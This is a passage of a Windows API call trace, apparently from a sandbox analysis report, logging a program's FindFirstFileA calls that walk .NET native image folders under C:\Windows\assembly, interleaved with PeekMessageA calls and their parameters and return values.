cAlternateFileName="")) returned 0x502598 [0113.726] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Data14bed3a9#\\18c1b81f0da871938353a634399577e1\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e40f410, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x1e40f410, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x1e40f410, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0113.732] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0113.734] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0113.735] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Data16016462#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x208a8650, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x208a8650, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x208a8650, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0113.736] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Data16016462#\\ad0a782d2347dd65829f6f9d0f20284e\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x208a8650, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x208a8650, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x208a8650, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0113.740] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0113.744] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0113.744] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Data7706cdc8#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb9f430, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xcb9f430, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xcb9f430, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0113.745] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Data7706cdc8#\\abe7f7a6a6b0b9a18dc9dc0a74d8d242\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb9f430, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xcb9f430, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xcb9f430, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0113.748] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0113.751] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0113.751] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Data86569bbf#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x22533ec0, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0xb1ed25a0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xb1ed25a0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0113.756] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Data86569bbf#\\29bf69ad891bd967ff52bb1888d4dd74\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xafda5300, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0xafda5300, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xafda5300, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0113.759] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0113.760] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0113.761] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Datab086ae17#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x128c10f0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x128c10f0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x128c10f0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0113.762] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Datab086ae17#\\f284a30e6b0e1c9d29e5a16f40ffc779\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x128c10f0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x128c10f0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x128c10f0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0113.764] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0113.766] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0113.766] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Deployment\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a5da5c0, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0xb1f90c80, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xb1f90c80, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0113.767] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Deployment\\0de9bbf4a723a49be5eb03451b861c23\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa5b7b840, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0xa5b7b840, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xa5b7b840, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0113.769] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0113.772] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0113.773] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Design\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7eafdc0, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0xb2029200, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xb2029200, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0113.776] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Design\\86686fb9ee8c159066eada42b7657a30\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8549aa0, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0xa8549aa0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xa8549aa0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0113.777] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0113.780] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0113.780] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Device\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x213aac10, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x213aac10, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x213aac10, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0113.781] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Device\\2b6497aa017e11fbda75bbd9007c0669\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x213aac10, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x213aac10, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x213aac10, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0113.782] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0113.787] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0113.787] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Dire573b08f5#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x21e87070, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x21e87070, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x21e87070, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0113.788] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Dire573b08f5#\\8c2522dbbbb50c208f8ec843e784e8cd\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x21e87070, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x21e87070, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x21e87070, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0113.790] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0113.793] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0113.793] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Dire5d62f0a2#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x22b4d720, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0xb1e13ec0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xb1e13ec0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0113.795] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Dire5d62f0a2#\\1aeeb6134318775c231c6f13d7c4a6e9\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb00eb140, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0xb01112a0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xb01112a0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0113.798] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0113.801] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0113.802] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Dired13b18a9#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1cf102a0, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0xb210da40, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xb210da40, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0113.804] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Dired13b18a9#\\d3b36c9a789d8e5c5bca7e20241cc9be\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa0cee240, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0xa0cee240, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xa0cee240, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0113.808] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0113.810] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0113.811] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Draw0a54d252#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8078e40, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0xb1ef8700, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xb1ef8700, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0113.813] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Draw0a54d252#\\7fc91d396b0ae82cca4eddde0472bfb9\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8ea9140, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0xa8ea9140, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xa8ea9140, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0113.816] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0113.818] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0113.819] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Drawing\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17403920, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0xb209b620, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xb209b620, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0113.820] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Drawing\\553c0312fdf5a5449f3649f0515e70fb\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9dd06780, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x9dd06780, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x9dd06780, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0113.821] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0113.825] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0113.825] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Dynamic\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbea8d00, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0xb1bb28c0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xb1bb28c0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0113.827] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Dynamic\\0cb4708acc28d18d8ff1a2bbdc963e33\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa45048a0, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0xa45048a0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xa45048a0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0113.827] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0113.832] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0113.833] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Ente96d83b35#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x21548ba0, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0xb2159d00, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xb2159d00, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0113.833] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Ente96d83b35#\\6eae11bdda922e66acf618cd7613a96d\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf8702e0, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0xaf8702e0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xaf8702e0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0113.836] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0113.838] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0113.839] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0113.839] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Iden1fe87377#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x228f10b0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x228f10b0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x228f10b0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0113.841] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Iden1fe87377#\\d919279fe1ab3a59c30a81cecb830b89\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x228f10b0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x228f10b0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x228f10b0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0113.847] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0113.849] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0113.850] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Idena7b556ff#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ac45070, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x1ac45070, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x1ac45070, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, 